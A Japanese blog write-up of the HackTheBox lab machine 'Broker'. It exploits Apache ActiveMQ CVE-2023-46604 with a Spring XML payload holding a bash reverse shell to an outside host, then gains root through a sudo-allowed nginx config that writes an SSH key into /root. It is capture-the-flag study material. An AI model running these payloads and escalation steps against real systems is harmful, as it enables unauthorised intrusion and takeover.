HackTheBox Broker WriteUp

今回はHackTheBoxのEasyマシン「Broker」のWriteUpです！
名前からはどのようなマシンかあまりわかりませんね。攻略目指して頑張ります！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b57171f8-bbbd-2e1b-134a-fc4f381dd014.png)


グラフはいい感じにきちんとEasyな感じですね。
さくっと攻略していきたいところです！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Broker

### 列挙

それでは、攻略を始めていきましょう！
いつものように```nmap```から実行していきます。

```bash
+[~/broker]
(σ▰>∇<)σ<10.10.14.4>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.243

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt
|_mqtt-subscribe: Failed to receive control packet from server.
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
37463/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
| http-methods: 
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Site doesnt have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15
```

結構多くのポートが開いていますね。列挙が多くなりそうですが、とりあえず80番からアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e4bcb806-22e7-ed9d-8303-e457f196bef5.png)

Basic認証が使用されています。認証情報はまだ持っていないので、とりあえず```admin / admin```を入力してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b6f96899-7f34-ae4f-401f-05a5daebca28.png)

認証に成功してしまいました！なるほど。Easyマシンという感じがしますね笑
```ActiveMQ```へアクセスができたので、```Manage ActiveMQ broker```を押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1dc281f2-de19-a53e-1214-1179cf00a7c4.png)

```Broker```の情報が表示されました。

### CVE-2023-46604

さらに、```ActiveMQ```のバージョンが```5.15.15```であることがわかりました。脆弱性がないかGoogleで調べてみると、以下の記事を発見しました。

https://qiita.com/M_Yanagihara/items/e4dfa98880a351e2a236

記事によると、```ActiveMQ```の```5.15.15```にはRCEの脆弱性が存在するようです。この脆弱性の発火には```OpenWire```がListenされている必要があるようですが、今回は61616番ポートでオープンしているので要件を満たしていそうです。

:::note info
概要 : CVE-2023-46604
この脆弱性では、ClassPathXmlApplicationContextクラスをインスタンス化する際の引数「configLocation」にXMLファイルを指定することを悪用します。指定したXMLファイルのProcessBuilderクラスのstartメソッドにコマンドを設定することで実行が可能になります。
:::

記事の中では```echo```コマンドで新たにファイルを作成していますが、この部分をリバースシェルを返すコマンドに変更することで初期侵入を行いたいと思います。
まずは、記事の中で使用されているGitHubをCloneしていきます。

```bash
+[~/broker]
(σ▰>∇<)σ<10.10.14.4>$ git clone https://github.com/X1r0z/ActiveMQ-RCE.git                                            
Cloning into 'ActiveMQ-RCE'...
remote: Enumerating objects: 29, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 29 (delta 12), reused 29 (delta 12), pack-reused 0
Receiving objects: 100% (29/29), 7.52 KiB | 7.52 MiB/s, done.
Resolving deltas: 100% (12/12), done.
```

実行できたらXMLファイルを書き換えていきます。

```xml
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash -i &gt;&amp; /dev/tcp/10.10.14.4/2121 0&gt;&amp;1</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
```

書き換えに完了したら、リバースシェルの待ち受けとWEBサーバを起動します。

```bash
> Rev Shell
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...

> WEB
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

これで準備万端です！

## activemq としてのシェル

それでは実行していきましょう！

```bash
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ go run main.go -i 10.10.11.243 -u http://10.10.14.4/poc.xml
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.4/poc.xml

[*] Sending packet: 0000006c1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010019687474703a2f2f31302e31302e31342e342f706f632e786d6c
```

実行に成功していそうです。待ち受けを確認しましょう。

```bash
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.243] 34112
bash: cannot set terminal process group (887): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami
whoami
activemq
```

初期侵入に成功しました！

```bash
activemq@broker:~$ ls -l
ls -l
total 4
-rw-r----- 1 root activemq 33 Apr 28 14:25 user.txt
```

ユーザフラグも取得できました！

### 権限昇格

それではここから権限昇格を目指していきましょう！
まずは```sudo -l```を実行していきます。

```bash
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
```

```nginx```が```root```ユーザの権限で実行できるみたいです。
この設定の場合、ルートディレクトリ（```/```）をWEBルートとすることで、様々なファイルにアクセスでき、PUTメソッドを許可することでファイルを作成することが可能です。

### Exploit Nginx 

それでは権限昇格を行っていきましょう。以下のような設定ファイルを用意します。

```bash
activemq@broker:~$ cat root.conf
user root;
events {
	worker_connections 1024;
}
http {
	server {
		listen 2122;
		root /;
		autoindex on;
		dav_methods PUT;
	}
}
```

今回はサーバを2122番ポートで起動するようにしました。
この設定ファイルを指定し、```sudo nginx```を実行していきましょう。

```bash
activemq@broker:~$ sudo /usr/sbin/nginx -c /home/activemq/root.conf
```

これでサーバが起動できたので、```curl```でアクセスしてみましょう。

```bash
activemq@broker:~$ curl http://localhost:2122
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="bin/">bin/</a>                                               06-Nov-2023 01:10                   -
<a href="boot/">boot/</a>                                              06-Nov-2023 01:38                   -
<a href="dev/">dev/</a>                                               28-Apr-2024 14:25                   -
<a href="etc/">etc/</a>                                               07-Nov-2023 06:53                   -
<a href="home/">home/</a>                                              06-Nov-2023 01:18                   -
<a href="lib/">lib/</a>                                               06-Nov-2023 00:57                   -
<a href="lib32/">lib32/</a>                                             17-Feb-2023 17:19                   -
<a href="lib64/">lib64/</a>                                             05-Nov-2023 02:36                   -
<a href="libx32/">libx32/</a>                                            17-Feb-2023 17:19                   -
<a href="lost%2Bfound/">lost+found/</a>                                        27-Apr-2023 15:40                   -
<a href="media/">media/</a>                                             06-Nov-2023 01:18                   -
<a href="mnt/">mnt/</a>                                               17-Feb-2023 17:19                   -
<a href="opt/">opt/</a>                                               06-Nov-2023 01:18                   -
<a href="proc/">proc/</a>                                              28-Apr-2024 14:25                   -
<a href="root/">root/</a>                                              28-Apr-2024 14:25                   -
<a href="run/">run/</a>                                               28-Apr-2024 14:25                   -
<a href="sbin/">sbin/</a>                                              06-Nov-2023 01:10                   -
<a href="srv/">srv/</a>                                               06-Nov-2023 01:18                   -
<a href="sys/">sys/</a>                                               28-Apr-2024 14:25                   -
<a href="tmp/">tmp/</a>                                               28-Apr-2024 14:40                   -
<a href="usr/">usr/</a>                                               17-Feb-2023 17:19                   -
<a href="var/">var/</a>                                               05-Nov-2023 01:43                   -
</pre><hr></body>
</html>
```

ルートディレクトリへアクセスできるようになっています！
正直この状態でもルートフラグを読むことはできるのですが、ここからSSH公開鍵を```/root/.ssh```配下に作成し、SSH接続を行っていきます。

```bash
activemq@broker:~$ curl -X PUT localhost:2122/root/.ssh/authorized_keys -d 'ssh-rsa <id_rsa.pub>'
```

実行できたら準備万端です！

## root としてのシェル

それではSSH接続を行いましょう！

```bash
+[~/.ssh]
(σ▰>∇<)σ<10.10.14.4>$ ssh -i id_rsa root@10.10.11.243

root@broker:~# whoami
root
```

権限昇格に成功しました！

```bash
root@broker:~# ls -l
total 8
-rwxr-xr-x 1 root root 517 Nov  7 08:15 cleanup.sh
-rw-r----- 1 root root  33 Apr 28 14:25 root.txt
```

ルートフラグも取得できました！完全攻略達成です！

### 攻略を終えて

今回のマシンは個人的にかなり好きなマシンでした！```ActiveMQ```のリモートコマンド実行、```nginx```の権限昇格、どちらもカスタマイズにより様々な方法で攻撃を行うことができ、色々と試す機会になりました。特に```nginx```の権限昇格は、設定ミスではありますが```nginx```本来の挙動に沿ったものであり、```nginx```の仕組みをさらに理解することに繋がりました。
やはり必要ではない権限は付与しないということが大切ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです！
最後まで見ていただき、ありがとうございました～～！